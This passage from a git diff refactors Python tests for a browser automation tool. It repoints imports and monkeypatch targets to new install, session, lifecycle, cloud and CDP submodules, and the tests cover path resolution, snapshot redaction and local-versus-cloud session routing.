_mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: False) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: False) result = json.loads(browser_tool.browser_get_images(task_id="test")) assert result["success"] is True @@ -76,7 +78,7 @@ def test_guard_does_not_block_on_failed_eval(monkeypatch): """If the eval itself fails, browser_get_images returns its own error — no guard needed.""" def _run(task_id, command, args=None, **kwargs): return {"success": False, "error": "eval failed"} - monkeypatch.setattr(browser_tool, "_run_browser_command", _run) + monkeypatch.setattr(bt_session, "_run_browser_command", _run) result = json.loads(browser_tool.browser_get_images(task_id="test")) assert result["success"] is False diff --git a/tests/tools/test_browser_hardening.py b/tests/tools/test_browser_hardening.py index 4c07db3dc4..3361b56f8c 100644 --- a/tests/tools/test_browser_hardening.py +++ b/tests/tools/test_browser_hardening.py @@ -5,6 +5,9 @@ import re from unittest.mock import MagicMock, patch import pytest +from tools import browser_tool_install as bt_install +from tools import browser_tool_session as bt_session +from tools import browser_tool_lifecycle as bt_lifecycle # --------------------------------------------------------------------------- @@ -19,8 +22,8 @@ def _reset_caches(): bt._cached_command_timeout = None bt._command_timeout_resolved = False # lru_cache for _discover_homebrew_node_dirs - if hasattr(bt._discover_homebrew_node_dirs, "cache_clear"): - bt._discover_homebrew_node_dirs.cache_clear() + if hasattr(bt_install._discover_homebrew_node_dirs, "cache_clear"): + bt_install._discover_homebrew_node_dirs.cache_clear() @pytest.fixture(autouse=True) @@ -56,16 +59,15 @@ class TestFindAgentBrowserCache: def test_cached_after_first_call(self): import tools.browser_tool as bt with patch("shutil.which", return_value="/usr/bin/agent-browser"), \ - patch("tools.browser_tool.agent_browser_runnable", return_value=True): - result1 = bt._find_agent_browser() - result2 = bt._find_agent_browser() + patch("tools.browser_tool_install.agent_browser_runnable", return_value=True): + result1 = bt_install._find_agent_browser() + result2 = bt_install._find_agent_browser() assert result1 == result2 == "/usr/bin/agent-browser" assert bt._agent_browser_resolved is True def test_not_found_cached_raises_on_subsequent(self): """After FileNotFoundError, subsequent calls should raise from cache.""" - import tools.browser_tool as bt from pathlib import Path original_exists = Path.exists @@ -79,10 +81,10 @@ class TestFindAgentBrowserCache: patch("os.path.isdir", return_value=False), \ patch.object(Path, "exists", mock_exists): with pytest.raises(FileNotFoundError): - bt._find_agent_browser() + bt_install._find_agent_browser() # Second call should also raise (from cache) with pytest.raises(FileNotFoundError, match="cached"): - bt._find_agent_browser() + bt_install._find_agent_browser() # --------------------------------------------------------------------------- @@ -131,7 +133,7 @@ class TestSessionInactivityTimeout: class TestHomebrewNodeDirsCache: def test_lru_cached(self): - from tools.browser_tool import _discover_homebrew_node_dirs + from tools.browser_tool_install import _discover_homebrew_node_dirs assert hasattr(_discover_homebrew_node_dirs, "cache_info"), \ "_discover_homebrew_node_dirs should be decorated with lru_cache" @@ -179,8 +181,7 @@ class TestRecordingSessionsThreadSafety: def test_emergency_cleanup_clears_under_lock(self): """_recording_sessions.clear() in emergency cleanup should be under _cleanup_lock.""" - import tools.browser_tool as bt - src = inspect.getsource(bt._emergency_cleanup_all_sessions) + src = inspect.getsource(bt_lifecycle._emergency_cleanup_all_sessions) # Find the with _cleanup_lock block and verify _recording_sessions.clear() is inside lock_pos = src.find("_cleanup_lock") clear_pos = src.find("_recording_sessions.clear()") @@ -196,16 +197,17 @@ class TestRecordingSessionsThreadSafety: class TestTruncateSnapshot: def test_short_snapshot_unchanged(self): - from tools.browser_tool import _truncate_snapshot + from tools.browser_tool_snapshot import _truncate_snapshot short = '- heading "Example" [ref=e1]\n- link "More" [ref=e2]' assert _truncate_snapshot(short) == short def test_long_snapshot_truncated_at_line_boundary(self): - from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD, _truncate_snapshot + from tools.browser_tool import DEFAULT_SNAPSHOT_THRESHOLD + from tools.browser_tool_snapshot import _truncate_snapshot # Create a snapshot that exceeds the summarize threshold lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(1000)] snapshot = "\n".join(lines) - assert len(snapshot) > SNAPSHOT_SUMMARIZE_THRESHOLD + assert len(snapshot) > DEFAULT_SNAPSHOT_THRESHOLD result = _truncate_snapshot(snapshot, max_chars=200) assert "truncated" in result.lower() @@ -218,7 +220,7 @@ class TestTruncateSnapshot: def test_stored_snapshot_is_secret_redacted(self): """Page-rendered secrets must not land unmasked on disk.""" from pathlib import Path - from tools.browser_tool import _store_full_snapshot + from tools.browser_tool_snapshot import _store_full_snapshot fake_key = "sk-" + "STOREDSNAPSHOTSECRET1234567890" snapshot = f'- text "API key: {fake_key}"\n' + "\n".join( @@ -241,7 +243,7 @@ class TestTruncateSnapshot: """ import hashlib from pathlib import Path - from tools.browser_tool import _store_full_snapshot + from tools.browser_tool_snapshot import _store_full_snapshot monkeypatch.setenv("HERMES_HOME", str(tmp_path)) snapshot = "\n".join(f"- line {i}" for i in range(50)) @@ -264,7 +266,7 @@ class TestTruncateSnapshot: def test_truncated_snapshot_appends_stored_pointer(self): """Truncated snapshots point at the stored full text for read_file paging.""" - from tools.browser_tool import _truncate_snapshot + from tools.browser_tool_snapshot import _truncate_snapshot snapshot = "\n".join(f'- item "Element {i}" [ref=e{i}]' for i in range(400)) result = _truncate_snapshot(snapshot, max_chars=500) @@ -302,8 +304,7 @@ class TestEmptyStdoutFailure: def test_empty_stdout_returns_failure(self): """Verify the command-output interpreter returns failure on empty stdout.""" - import tools.browser_tool as bt - src = inspect.getsource(bt._interpret_browser_command_output) + src = inspect.getsource(bt_session._interpret_browser_command_output) assert "returned no output" in src, \ "_interpret_browser_command_output should treat empty stdout as failure" diff --git a/tests/tools/test_browser_headed_mode.py b/tests/tools/test_browser_headed_mode.py index cc72de9f81..07f29f0f0e 100644 --- a/tests/tools/test_browser_headed_mode.py +++ b/tests/tools/test_browser_headed_mode.py @@ -9,6 +9,7 @@ from types import SimpleNamespace from unittest.mock import MagicMock, patch import pytest +from tools import browser_tool_session as bt_session def _reset_headed_cache(): @@ -31,21 +32,21 @@ def _clean_headed_cache(): class TestIsHeadedMode: def test_default_is_false(self): - from tools.browser_tool import _is_headed_mode + from tools.browser_tool_cloud import _is_headed_mode with patch.dict(os.environ, {}, clear=False): os.environ.pop("AGENT_BROWSER_HEADED", None) with patch("hermes_cli.config.read_raw_config", return_value={}): assert _is_headed_mode() is False def test_config_true(self): - from tools.browser_tool import _is_headed_mode + from tools.browser_tool_cloud import _is_headed_mode cfg = {"browser": {"headed": True}} with patch("hermes_cli.config.read_raw_config", return_value=cfg): assert _is_headed_mode() is True def test_caching(self): - from tools.browser_tool import _is_headed_mode + from tools.browser_tool_cloud import _is_headed_mode cfg = {"browser": {"headed": True}} with patch("hermes_cli.config.read_raw_config", return_value=cfg) as mock_read: assert _is_headed_mode() is True @@ -65,7 +66,7 @@ class TestCleanupTaskResourcesHeadedSkip: def test_headless_still_cleans_browser(self): from agent.chat_completion_helpers import cleanup_task_resources with ( - patch("tools.browser_tool._is_headed_mode", return_value=False), + patch("tools.browser_tool_cloud._is_headed_mode", return_value=False), patch("run_agent.cleanup_vm"), patch("run_agent.cleanup_browser") as mock_cb, patch( @@ -81,7 +82,7 @@ class TestCleanupTaskResourcesHeadedSkip: """Headed mode only affects the browser; VM teardown is untouched.""" from agent.chat_completion_helpers import cleanup_task_resources with ( - patch("tools.browser_tool._is_headed_mode", return_value=True), + patch("tools.browser_tool_cloud._is_headed_mode", return_value=True), patch("run_agent.cleanup_vm") as mock_vm, patch("run_agent.cleanup_browser"), patch( @@ -124,16 +125,16 @@ class TestHeadedFlagInjection: __exit__=MagicMock(return_value=False), ))), \ patch("tools.interrupt.is_interrupted", return_value=False), \ - patch("tools.browser_tool._write_owner_pid"): - bt._run_browser_command("task1", "snapshot", [], _engine_override="auto") + patch("tools.browser_tool_lifecycle._write_owner_pid"): + bt_session._run_browser_command("task1", "snapshot", [], _engine_override="auto") return captured_cmds - @patch("tools.browser_tool._get_session_info") - @patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser") - @patch("tools.browser_tool._is_local_mode", return_value=True) - @patch("tools.browser_tool._chromium_installed", return_value=True) - @patch("tools.browser_tool._get_cloud_provider", return_value=None) - @patch("tools.browser_tool._get_cdp_override", return_value="") + @patch("tools.browser_tool_session._get_session_info") + @patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser") + @patch("tools.browser_tool_cloud._is_local_mode", return_value=True) + @patch("tools.browser_tool_install._chromium_installed", return_value=True) + @patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None) + @patch("tools.browser_tool_cdp._get_cdp_override", return_value="") @patch("tools.browser_tool._is_camofox_mode", return_value=False) def test_headed_flag_added_in_local_mode( self, _camofox, _cdp, _cloud, _chromium, _local, _find, _session @@ -148,12 +149,12 @@ class TestHeadedFlagInjection: assert "--headed" in captured[0] - @patch("tools.browser_tool._get_session_info") - @patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser") - @patch("tools.browser_tool._is_local_mode", return_value=True) - @patch("tools.browser_tool._chromium_installed", return_value=True) - @patch("tools.browser_tool._get_cloud_provider", return_value=None) - @patch("tools.browser_tool._get_cdp_override", return_value="") + @patch("tools.browser_tool_session._get_session_info") + @patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser") + @patch("tools.browser_tool_cloud._is_local_mode", return_value=True) + @patch("tools.browser_tool_install._chromium_installed", return_value=True) + @patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None) + @patch("tools.browser_tool_cdp._get_cdp_override", return_value="") @patch("tools.browser_tool._is_camofox_mode", return_value=False) def test_headed_flag_not_added_in_cloud_mode( self, _camofox, _cdp, _cloud, _chromium, _local, _find, _session diff --git a/tests/tools/test_browser_homebrew_paths.py b/tests/tools/test_browser_homebrew_paths.py index 13669f1fe9..4867754e78 100644 --- a/tests/tools/test_browser_homebrew_paths.py +++ b/tests/tools/test_browser_homebrew_paths.py @@ -2,23 +2,20 @@ import json import os +import shutil import sys from pathlib import Path from unittest.mock import patch, MagicMock, mock_open import pytest -from tools.browser_tool import ( - _agent_browser_candidate_present, - _discover_homebrew_node_dirs, - _find_agent_browser, - _run_browser_command, - _run_chrome_fallback_command, - AGENT_BROWSER_NPX_SPEC, - _SANE_PATH, - check_browser_requirements, -) +from tools.browser_tool_install import _find_agent_browser, check_browser_requirements +from tools.browser_tool_session import _run_browser_command +from tools.browser_tool import AGENT_BROWSER_NPX_SPEC, _SANE_PATH +from tools.browser_tool_install import _agent_browser_candidate_present, _discover_homebrew_node_dirs +from tools.browser_tool_lightpanda_fallback import _run_chrome_fallback_command import tools.browser_tool as _bt +from tools import browser_tool_install as bt_install @pytest.fixture(autouse=True) @@ -76,7 +73,7 @@ class TestFindAgentBrowser: def test_finds_in_current_path(self): """Should return result from shutil.which if available on current PATH.""" with patch("shutil.which", return_value="/usr/local/bin/agent-browser"), \ - patch("tools.browser_tool.agent_browser_runnable", return_value=True): + patch("tools.browser_tool_install.agent_browser_runnable", return_value=True): assert _find_agent_browser() == "/usr/local/bin/agent-browser" @@ -93,7 +90,7 @@ class TestFindAgentBrowser: patch("os.path.isdir", return_value=False), \ patch.object(Path, "exists", mock_path_exists), \ patch( - "tools.browser_tool._discover_homebrew_node_dirs", + "tools.browser_tool_install._discover_homebrew_node_dirs", return_value=[], ): with pytest.raises(FileNotFoundError, match="agent-browser CLI not found"): @@ -121,9 +118,9 @@ class TestFindAgentBrowser: with patch("shutil.which", side_effect=mock_which), \ patch("os.path.isdir", return_value=False), \ patch.object(Path, "is_dir", mock_is_dir), \ - patch("tools.browser_tool.agent_browser_runnable", return_value=True), \ + patch("tools.browser_tool_install.agent_browser_runnable", return_value=True), \ patch( - "tools.browser_tool._discover_homebrew_node_dirs", + "tools.browser_tool_install._discover_homebrew_node_dirs", return_value=[], ): result = _find_agent_browser() @@ -147,13 +144,13 @@ class TestFindAgentBrowser: with patch("shutil.which", side_effect=mock_which), \ patch("os.path.isdir", return_value=True), \ patch( - "tools.browser_tool.agent_browser_runnable", + "tools.browser_tool_install.agent_browser_runnable", side_effect=AssertionError( "validate=False must not call agent_browser_runnable" ), ), \ patch( - "tools.browser_tool._discover_homebrew_node_dirs", + "tools.browser_tool_install._discover_homebrew_node_dirs", return_value=["/opt/homebrew/bin"], ): result = _find_agent_browser(validate=False) @@ -187,13 +184,13 @@ class TestFindAgentBrowser: patch("os.path.isdir", return_value=False), \ patch.object(Path, "is_dir", mock_is_dir), \ patch( - "tools.browser_tool.agent_browser_runnable", + "tools.browser_tool_install.agent_browser_runnable", side_effect=AssertionError( "validate=False must not call agent_browser_runnable" ), ), \ patch( - "tools.browser_tool._discover_homebrew_node_dirs", + "tools.browser_tool_install._discover_homebrew_node_dirs", return_value=[], ): result = _find_agent_browser(validate=False) @@ -220,9 +217,9 @@ class TestFindAgentBrowser: with patch("shutil.which", side_effect=mock_which), \ patch("os.path.isdir", return_value=False), \ patch.object(Path, "exists", mock_path_exists), \ - patch("tools.browser_tool.node_tool_runnable", return_value=True), \ + patch("tools.browser_tool_install.node_tool_runnable", return_value=True), \ patch( - "tools.browser_tool._discover_homebrew_node_dirs", + "tools.browser_tool_install._discover_homebrew_node_dirs", return_value=[], ): result = _find_agent_browser(validate=False) @@ -267,7 +264,7 @@ class TestBrowserRequirements: def test_cdp_override_does_not_require_agent_browser_cli(self, monkeypatch): monkeypatch.setenv("BROWSER_CDP_URL", "ws://127.0.0.1:9222/devtools/browser/test") monkeypatch.setattr("tools.browser_tool._is_camofox_mode", lambda: False) - monkeypatch.setattr("tools.browser_tool._find_agent_browser", lambda: (_ for _ in ()).throw(FileNotFoundError("not found"))) + monkeypatch.setattr("tools.browser_tool_install._find_agent_browser", lambda: (_ for _ in ()).throw(FileNotFoundError("not found"))) assert check_browser_requirements() is True @@ -275,8 +272,8 @@ class TestBrowserRequirements: monkeypatch.setenv("TERMUX_VERSION", "0.118.3") monkeypatch.setenv("PREFIX", "/data/data/com.termux/files/usr") monkeypatch.setattr("tools.browser_tool._is_camofox_mode", lambda: False) - monkeypatch.setattr("tools.browser_tool._get_cloud_provider", lambda: None) - monkeypatch.setattr("tools.browser_tool._find_agent_browser", lambda **_kw: "npx agent-browser") + monkeypatch.setattr("tools.browser_tool_cloud._get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_install._find_agent_browser", lambda **_kw: "npx agent-browser") assert check_browser_requirements() is False @@ -285,8 +282,8 @@ class TestRunBrowserCommandTermuxFallback: def test_termux_local_mode_rejects_bare_npx_fallback(self, monkeypatch): monkeypatch.setenv("TERMUX_VERSION", "0.118.3") monkeypatch.setenv("PREFIX", "/data/data/com.termux/files/usr") - monkeypatch.setattr("tools.browser_tool._find_agent_browser", lambda **_kw: "npx agent-browser") - monkeypatch.setattr("tools.browser_tool._get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_install._find_agent_browser", lambda **_kw: "npx agent-browser") + monkeypatch.setattr("tools.browser_tool_cloud._get_cloud_provider", lambda: None) result = _run_browser_command("task-1", "navigate", ["https://example.com"]) @@ -320,11 +317,11 @@ class TestRunBrowserCommandPathConstruction: browser_path = "/Users/test/Library/Application Support/hermes/node_modules/.bin/agent-browser" hermes_home = str(tmp_path / "hermes-home") - with patch("tools.browser_tool._find_agent_browser", return_value=browser_path), \ - patch("tools.browser_tool._chromium_installed", return_value=True), \ - patch("tools.browser_tool._get_session_info", return_value=fake_session), \ + with patch("tools.browser_tool_install._find_agent_browser", return_value=browser_path), \ + patch("tools.browser_tool_install._chromium_installed", return_value=True), \ + patch("tools.browser_tool_session._get_session_info", return_value=fake_session), \ patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(tmp_path)), \ - patch("tools.browser_tool._discover_homebrew_node_dirs", return_value=[]), \ + patch("tools.browser_tool_install._discover_homebrew_node_dirs", return_value=[]), \ patch("hermes_constants.Path.home", return_value=tmp_path), \ patch("subprocess.Popen", side_effect=capture_popen), \ patch("os.open", return_value=99), \ @@ -376,12 +373,12 @@ class TestRunBrowserCommandPathConstruction: fake_json = json.dumps({"success": True}) hermes_home = str(tmp_path / "hermes-home") - with patch("tools.browser_tool._find_agent_browser", return_value="npx agent-browser"), \ - patch("tools.browser_tool._resolve_npx_bin", return_value="/opt/hermes/node/bin/npx"), \ - patch("tools.browser_tool._chromium_installed", return_value=True), \ - patch("tools.browser_tool._get_session_info", return_value=fake_session), \ + with patch("tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser"), \ + patch("tools.browser_tool_install._resolve_npx_bin", return_value="/opt/hermes/node/bin/npx"), \ + patch("tools.browser_tool_install._chromium_installed", return_value=True), \ + patch("tools.browser_tool_session._get_session_info", return_value=fake_session), \ patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(tmp_path)), \ - patch("tools.browser_tool._discover_homebrew_node_dirs", return_value=[]), \ + patch("tools.browser_tool_install._discover_homebrew_node_dirs", return_value=[]), \ patch("hermes_constants.Path.home", return_value=tmp_path), \ patch("subprocess.Popen", side_effect=capture_popen), \ patch("os.open", return_value=99), \ @@ -437,11 +434,11 @@ class TestRunBrowserCommandPathConstruction: return True return real_isdir(path) - with patch("tools.browser_tool._find_agent_browser", return_value="/usr/local/bin/agent-browser"), \ - patch("tools.browser_tool._chromium_installed", return_value=True), \ - patch("tools.browser_tool._get_session_info", return_value=fake_session), \ + with patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/local/bin/agent-browser"), \ + patch("tools.browser_tool_install._chromium_installed", return_value=True), \ + patch("tools.browser_tool_session._get_session_info", return_value=fake_session), \ patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(tmp_path)), \ - patch("tools.browser_tool._discover_homebrew_node_dirs", return_value=[]), \ + patch("tools.browser_tool_install._discover_homebrew_node_dirs", return_value=[]), \ patch("os.path.isdir", side_effect=selective_isdir), \ patch("subprocess.Popen", side_effect=capture_popen), \ patch("os.open", return_value=99), \ @@ -475,11 +472,11 @@ class TestRunChromeFallbackCommandNpxResolution: url_result = {"success": True, "data": {"url": "https://example.com"}} - with patch("tools.browser_tool._run_browser_command", return_value=url_result), \ - patch("tools.browser_tool._find_agent_browser", return_value="npx agent-browser"), \ - patch("tools.browser_tool._resolve_npx_bin", return_value="/opt/hermes/node/bin/npx"), \ - patch("tools.browser_tool._chromium_installed", return_value=True), \ - patch("tools.browser_tool._running_in_docker", return_value=False), \ + with patch("tools.browser_tool_session._run_browser_command", return_value=url_result), \ + patch("tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser"), \ + patch("tools.browser_tool_install._resolve_npx_bin", return_value="/opt/hermes/node/bin/npx"), \ + patch("tools.browser_tool_install._chromium_installed", return_value=True), \ + patch("tools.browser_tool_install._running_in_docker", return_value=False), \ patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(tmp_path)), \ patch("subprocess.Popen", side_effect=capture_popen): _run_chrome_fallback_command("test-task", "navigate", ["https://example.com"], timeout=10) @@ -503,43 +500,40 @@ class TestResolveNpxBinPriority: validation discipline for agent-browser itself.""" def test_prefers_managed_extended_path_over_bare_path(self, monkeypatch): - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_merge_browser_path", lambda _p: "/hermes/node/bin") + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda _p: "/hermes/node/bin") monkeypatch.setattr( - bt.shutil, "which", + shutil, "which", lambda cmd, path=None: ( "/hermes/node/bin/npx" if path == "/hermes/node/bin" else "/usr/local/bin/npx" ), ) - monkeypatch.setattr(bt, "node_tool_runnable", lambda p: True) + monkeypatch.setattr("tools.browser_tool_install.node_tool_runnable", lambda p: True) - assert bt._resolve_npx_bin() == "/hermes/node/bin/npx" + assert bt_install._resolve_npx_bin() == "/hermes/node/bin/npx" def test_falls_back_to_bare_path_when_managed_candidate_is_broken(self, monkeypatch): - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_merge_browser_path", lambda _p: "/hermes/node/bin") + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda _p: "/hermes/node/bin") monkeypatch.setattr( - bt.shutil, "which", + shutil, "which", lambda cmd, path=None: ( "/hermes/node/bin/npx" if path == "/hermes/node/bin" else "/usr/local/bin/npx" ), ) - monkeypatch.setattr(bt, "node_tool_runnable", lambda p: p == "/usr/local/bin/npx") + monkeypatch.setattr("tools.browser_tool_install.node_tool_runnable", lambda p: p == "/usr/local/bin/npx") - assert bt._resolve_npx_bin() == "/usr/local/bin/npx" + assert bt_install._resolve_npx_bin() == "/usr/local/bin/npx" def test_returns_none_when_nothing_runnable(self, monkeypatch): - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_merge_browser_path", lambda _p: "") - monkeypatch.setattr(bt.shutil, "which", lambda cmd, path=None: "/usr/local/bin/npx") - monkeypatch.setattr(bt, "node_tool_runnable", lambda p: False) + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda _p: "") + monkeypatch.setattr(shutil, "which", lambda cmd, path=None: "/usr/local/bin/npx") + monkeypatch.setattr("tools.browser_tool_install.node_tool_runnable", lambda p: False) - assert bt._resolve_npx_bin() is None + assert bt_install._resolve_npx_bin() is None def test_skips_extended_lookup_when_merge_browser_path_returns_empty(self, monkeypatch): """_merge_browser_path("") returning a falsy string (no extended @@ -548,7 +542,6 @@ class TestResolveNpxBinPriority: kwarg (which would silently mean "search cwd only" on some platforms rather than "no extended search"), and node_tool_runnable must only be asked about the one real candidate.""" - import tools.browser_tool as bt which_calls = [] @@ -556,11 +549,11 @@ class TestResolveNpxBinPriority: which_calls.append((cmd, path)) return "/usr/bin/npx" if path is None else None - monkeypatch.setattr(bt, "_merge_browser_path", lambda _p: "") - monkeypatch.setattr(bt.shutil, "which", fake_which) - monkeypatch.setattr(bt, "node_tool_runnable", lambda p: p == "/usr/bin/npx") + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda _p: "") + monkeypatch.setattr(shutil, "which", fake_which) + monkeypatch.setattr("tools.browser_tool_install.node_tool_runnable", lambda p: p == "/usr/bin/npx") - assert bt._resolve_npx_bin() == "/usr/bin/npx" + assert bt_install._resolve_npx_bin() == "/usr/bin/npx" assert which_calls == [("npx", None)] def test_falls_back_to_bare_path_when_extended_dir_has_no_npx(self, monkeypatch): @@ -568,13 +561,12 @@ class TestResolveNpxBinPriority: npx binary (shutil.which returns None there) must fall through to the bare-PATH rung rather than treating "no extended npx" the same as "extended npx found but broken".""" - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_merge_browser_path", lambda _p: "/hermes/node/bin") + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda _p: "/hermes/node/bin") monkeypatch.setattr( - bt.shutil, "which", + shutil, "which", lambda cmd, path=None: None if path == "/hermes/node/bin" else "/usr/bin/npx", ) - monkeypatch.setattr(bt, "node_tool_runnable", lambda p: True) + monkeypatch.setattr("tools.browser_tool_install.node_tool_runnable", lambda p: True) - assert bt._resolve_npx_bin() == "/usr/bin/npx" + assert bt_install._resolve_npx_bin() == "/usr/bin/npx" diff --git a/tests/tools/test_browser_hybrid_routing.py b/tests/tools/test_browser_hybrid_routing.py index f6fafa2324..38cb23e0b0 100644 --- a/tests/tools/test_browser_hybrid_routing.py +++ b/tests/tools/test_browser_hybrid_routing.py @@ -15,6 +15,9 @@ from unittest.mock import Mock import pytest import tools.browser_tool as browser_tool +from tools import browser_tool_lifecycle as bt_lifecycle +from tools import browser_tool_session as bt_session +from tools import browser_tool_cloud as bt_cloud @pytest.fixture(autouse=True) @@ -26,10 +29,10 @@ def _reset_routing_state(monkeypatch): monkeypatch.setattr(browser_tool, "_cloud_provider_resolved", False) monkeypatch.setattr(browser_tool, "_auto_local_for_private_urls_resolved", False) monkeypatch.setattr(browser_tool, "_cached_auto_local_for_private_urls", True) - monkeypatch.setattr(browser_tool, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(browser_tool, "_update_session_activity", lambda t: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._update_session_activity", lambda t: None) # Default: no CDP override, no Camofox - monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: None) monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: False) @@ -38,26 +41,26 @@ class TestNavigationSessionKey: def test_public_url_uses_bare_task_id(self, monkeypatch): """Public URL with cloud provider configured → bare task_id (cloud).""" - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: Mock()) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: Mock()) key = browser_tool._navigation_session_key("default", "https://github.com/x/y") assert key == "default" def test_localhost_routes_to_local_sidecar(self, monkeypatch): """``localhost`` URL → ``::local`` suffix when cloud configured + flag on.""" - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: Mock()) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: Mock()) key = browser_tool._navigation_session_key("default", "http://localhost:3000/") assert key == "default::local" def test_rfc1918_lan_routes_to_local_sidecar(self, monkeypatch): - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: Mock()) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: Mock()) key = browser_tool._navigation_session_key("default", "http://192.168.1.50:8000/") assert key == "default::local" def test_none_task_id_defaults(self, monkeypatch): """``None`` task_id resolves to 'default'.""" - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: Mock()) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: Mock()) key = browser_tool._navigation_session_key(None, "http://localhost:3000/") assert key == "default::local" @@ -101,10 +104,10 @@ class TestHybridRoutingSessionCreation: "bb_session_id": "bb_xxx", "cdp_url": "wss://fake.browserbase.com/ws", } - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider) - monkeypatch.setattr(browser_tool, "_ensure_cdp_supervisor", lambda t: None) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", lambda t: None) - session = browser_tool._get_session_info("default::local") + session = bt_session._get_session_info("default::local") assert provider.create_session.call_count == 0 assert session["bb_session_id"] is None @@ -121,11 +124,11 @@ class TestHybridRoutingSessionCreation: "bb_session_id": "bb_123", "cdp_url": "wss://real.browserbase.com/ws", } - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider) - monkeypatch.setattr(browser_tool, "_ensure_cdp_supervisor", lambda t: None) - monkeypatch.setattr(browser_tool, "_resolve_cdp_override", lambda u: u) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", lambda t: None) + monkeypatch.setattr("tools.browser_tool_cdp._resolve_cdp_override", lambda u: u) - session = browser_tool._get_session_info("default") + session = bt_session._get_session_info("default") assert provider.create_session.call_count == 1 assert session["bb_session_id"] == "bb_123" @@ -143,7 +146,7 @@ class TestCleanupHybridSessions: def _fake_cleanup_one(key): reaped.append(key) - monkeypatch.setattr(browser_tool, "_cleanup_single_browser_session", _fake_cleanup_one) + monkeypatch.setattr(bt_lifecycle, "_cleanup_single_browser_session", _fake_cleanup_one) monkeypatch.setattr( browser_tool, "_active_sessions", @@ -156,7 +159,7 @@ class TestCleanupHybridSessions: browser_tool, "_last_active_session_key", {"default": "default::local"} ) - browser_tool.cleanup_browser("default") + bt_lifecycle.cleanup_browser("default") assert set(reaped) == {"default", "default::local"} # last-active pointer dropped @@ -170,7 +173,7 @@ class TestCleanupHybridSessions: def _fake_cleanup_one(key): reaped.append(key) - monkeypatch.setattr(browser_tool, "_cleanup_single_browser_session", _fake_cleanup_one) + monkeypatch.setattr(bt_lifecycle, "_cleanup_single_browser_session", _fake_cleanup_one) monkeypatch.setattr( browser_tool, "_active_sessions", @@ -183,7 +186,7 @@ class TestCleanupHybridSessions: browser_tool, "_last_active_session_key", {"default": "default::local"} ) - browser_tool.cleanup_browser("default::local") + bt_lifecycle.cleanup_browser("default::local") assert reaped == ["default::local"] # The cleaned sidecar must not remain the recorded owner; otherwise a diff --git a/tests/tools/test_browser_lightpanda.py b/tests/tools/test_browser_lightpanda.py index 48d774b5b4..f5da12a691 100644 --- a/tests/tools/test_browser_lightpanda.py +++ b/tests/tools/test_browser_lightpanda.py @@ -5,6 +5,12 @@ import os from unittest.mock import MagicMock, patch import pytest +from tools import browser_tool_lifecycle as bt_lifecycle +from tools import browser_tool_lightpanda_fallback as bt_lightpanda_fallback +from tools import browser_tool_session as bt_session +from tools import browser_tool_install as bt_install +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_cdp as bt_cdp # --------------------------------------------------------------------------- @@ -35,7 +41,7 @@ class TestGetBrowserEngine: def test_default_is_auto(self): """With no config or env var, engine defaults to 'auto'.""" - from tools.browser_tool import _get_browser_engine + from tools.browser_tool_cloud import _get_browser_engine with patch.dict(os.environ, {}, clear=False): os.environ.pop("AGENT_BROWSER_ENGINE", None) with patch("hermes_cli.config.read_raw_config", return_value={}): @@ -43,7 +49,7 @@ class TestGetBrowserEngine: def test_config_lightpanda(self): """Config browser.engine = 'lightpanda' is respected.""" - from tools.browser_tool import _get_browser_engine + from tools.browser_tool_cloud import _get_browser_engine cfg = {"browser": {"engine": "lightpanda"}} with patch("hermes_cli.config.read_raw_config", return_value=cfg): assert _get_browser_engine() == "lightpanda" @@ -51,7 +57,7 @@ class TestGetBrowserEngine: def test_caching(self): """Result is cached — second call doesn't re-read config.""" - from tools.browser_tool import _get_browser_engine + from tools.browser_tool_cloud import _get_browser_engine mock_read = 